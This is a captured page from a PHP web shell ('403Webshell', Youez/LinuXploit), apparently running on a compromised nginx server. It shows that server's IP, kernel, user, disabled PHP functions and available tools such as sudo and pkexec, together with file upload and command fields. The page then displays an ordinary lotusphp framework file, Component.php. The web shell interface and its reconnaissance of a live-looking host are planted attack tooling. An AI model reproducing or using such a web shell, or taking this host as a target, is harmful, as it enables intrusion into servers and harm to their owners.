403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/data/wwwroot/2026_06_06_01/vendor/alipay/lotusphp_runtime/MVC/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/data/wwwroot/2026_06_06_01/vendor/alipay/lotusphp_runtime/MVC/Component.php
<?php
/**
 * The Component class
 */
abstract class LtComponent
{
	/**
	 * The context object
	 * 
	 * @var object 
	 */
	public $context;

	public $viewDir;
	public $viewTplDir;
	public $viewTplAutoCompile;
	/**
	 * A flag to indicate if subclass call LtComponent::__construct()
	 * 
	 * @var boolean 
	 */
	public $constructed = false;
	/**
	 * The response type
	 * 
	 * @var string 
	 */
	protected $responseType = "html";

	/**
	 * Result properties
	 */
	protected $code;

	protected $message;

	public $data;

	protected $view;

	protected $layout;

	/**
	 * The constructor function
	 */
	public function __construct()
	{
		$this->constructed = true;
	}
	public function executeChain()
	{
		if (!$this->constructed)
		{
			//DebugHelper::debug('SUBCLASS_NOT_CALL_PARENT_CONSTRUCTOR', array('class' => $actionClassName));
		}
		$this->afterConstruct();
		$this->beforeExecute();
		$this->execute();
		$this->writeResponse();
	}

	protected function afterConstruct()
	{

	}
	/**
	 * Do something before subClass::execute().
	 */
	protected function beforeExecute()
	{
	}

	protected function execute()
	{
	}

	protected function writeResponse()
	{
		switch ($this->responseType)
		{
			case 'json':
				echo json_encode(array("code" => $this->code,
						"message" => $this->message,
						"data" => $this->data
						));
				exit;
				break;
			case 'tpl':
				if (null === $this->view)
				{
					$this->view = new LtTemplateView;
				}
				$this->view->component = true; // 是否组件
				$this->view->context = $this->context;
				$this->view->code = $this->code;
				$this->view->message = $this->message;
				$this->view->data = $this->data;
				$this->view->layoutDir = $this->viewDir . "layout/";
				$this->view->layout = $this->layout;
				$this->view->templateDir = $this->viewDir . "component/";
				$this->view->compiledDir = $this->viewTplDir . "component/";
				$this->view->autoCompile = $this->viewTplAutoCompile;
				if (empty($this->template))
				{
					$this->template = $this->context->uri["module"] . "-" . $this->context->uri["action"];
				}
				$this->view->template = $this->template;
				$this->view->render();
				break;

			case 'html':
			case 'wml':
			default:
				if (null === $this->view)
				{
					$this->view = new LtView;
				}
				$this->view->context = $this->context;
				$this->view->code = $this->code;
				$this->view->message = $this->message;
				$this->view->data = $this->data;
				$this->view->layoutDir = $this->viewDir . "layout/";
				$this->view->layout = $this->layout;
				$this->view->templateDir = $this->viewDir . "component/";
				if (empty($this->template))
				{
					$this->template = $this->context->uri["module"] . "-" . $this->context->uri["action"];
				}
				$this->view->template = $this->template;
				$this->view->render();
				break;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit